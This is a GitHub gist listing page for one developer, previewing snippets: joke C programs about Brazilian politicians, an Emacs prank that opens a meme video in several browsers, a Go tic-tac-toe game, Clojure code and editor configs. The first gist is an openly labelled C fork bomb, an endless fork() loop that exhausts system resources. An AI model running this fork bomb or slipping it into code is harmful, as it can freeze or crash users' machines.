Skip to content

Instantly share code, notes, and snippets.

View arthurmco's full-sized avatar
💭
..........

Arthur Mendes arthurmco

💭
..........
View GitHub Profile
@arthurmco
arthurmco / bomb.c
Created January 31, 2017 01:26
Fork bomb
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
size_t u = 1;
while (1) {
fork();
u *= 2;
printf("You are fucked (%u)\n", u);
@arthurmco
arthurmco / collor.c
Last active October 3, 2019 18:39
código inspirado pela corrupção brasileira memes
#include <stdio.h>
#include <stdlib.h>
/* Eu repudio esse programa com toda veemência da força interior do meu
* coração
*
* 2017 Arthur M - sob domínio público -
* este código, eu quero que o senhor o engula, e o digira como achar conveniente
*/
#define devaneio() \
for (int i = 0; i < 3; i++) { \
@arthurmco
arthurmco / quercia.c
Last active April 28, 2017 16:05
programa mentiroso e caluniador
#include <stdio.h>
const char* s[] = {"Mentiroso", "Caluniador"};
int mentira = 0x206520;
#define caluniador(x) x ^= 0x1
#define mentiroso(q,x) q[x]
#define MENTIROSO_E_CALUNIADOR() \
printf(mentiroso(s,m)); printf((char*)&mentira); caluniador(m)
@arthurmco
arthurmco / bolso2018.c
Created May 7, 2017 01:43
o código preferido da criançada
#include <stdio.h>
typedef unsigned long long u64;
#define BOLSO(x) ((const char*)(&x))
int main()
{
u64 B,O,L;
u64 S=O, N;
@arthurmco
arthurmco / gemidao-do-zap.el
Last active August 14, 2017 04:12
gemidão do zap, agora no Emacs!
(defun make-gemidao ()
"Run the gemidao"
(condition-case nil
(progn
(make-process :name "gemidao" :command '("firefox" "https://www.youtube.com/watch?v=gP0ihSrIDRo"))
(make-process :name "gemidao" :command '("chromium" "https://www.youtube.com/watch?v=gP0ihSrIDRo"))
(make-process :name "gemidao" :command '("iexplore" "https://www.youtube.com/watch?v=gP0ihSrIDRo"))
(make-process :name "gemidao" :command '("safari" "https://www.youtube.com/watch?v=gP0ihSrIDRo")))
(error nil)))
@arthurmco
arthurmco / tictactoe.go
Last active September 18, 2017 01:47
tic tac toe game in go
package main
import (
"fmt"
)
type Board [3][3]rune
type Player struct {
name string
@arthurmco
arthurmco / factorial.clj
Created February 14, 2018 02:49
small clojure factorial
(defn factorial [num]
(reduce * (map inc (range num))))
@arthurmco
arthurmco / pathfinder-test.clj
Created February 17, 2018 15:24
simple pathfinder in clojure
(ns tribalia-pathfinder.core-test
(:require [clojure.test :refer :all]
[tribalia-pathfinder.core :refer :all]))
(defn- squared
[x]
(* x x))
(deftest test-path-euclidian
"Test the euclidian distance function"
@arthurmco
arthurmco / README.md
Last active November 17, 2021 16:24
my emacs config file

my emacs config file

Compatible with emacs 27.x, very probably compatible with 26.x. I use 27.x more frequently

It may have some design issues, because I am learning how to best configure this editor. Feel free to comment if you have any.

It will not be a repo, because I do not feel like it is needed. It is just one file...

@arthurmco
arthurmco / init.vim
Created April 4, 2018 20:03
mv neovim config file
set nocompatible
filetype plugin indent on
syntax on
" set the runtime path for vundle
set rtp+=~/.vim/bundle/Vundle.vim
" start vundle environment
call vundle#begin()